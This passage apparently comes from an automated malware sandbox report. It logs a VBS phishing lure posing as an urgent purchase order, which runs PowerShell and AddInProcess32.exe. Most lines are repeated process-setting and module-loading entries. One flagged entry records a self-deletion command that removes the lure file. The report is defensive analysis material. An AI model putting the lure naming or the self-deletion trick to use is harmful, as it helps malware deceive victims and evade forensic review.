                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                      Self deletion via cmd or bat file
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: cmd.exe /c del "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: cmd.exe /c del "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,22_2_0041CBE1
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
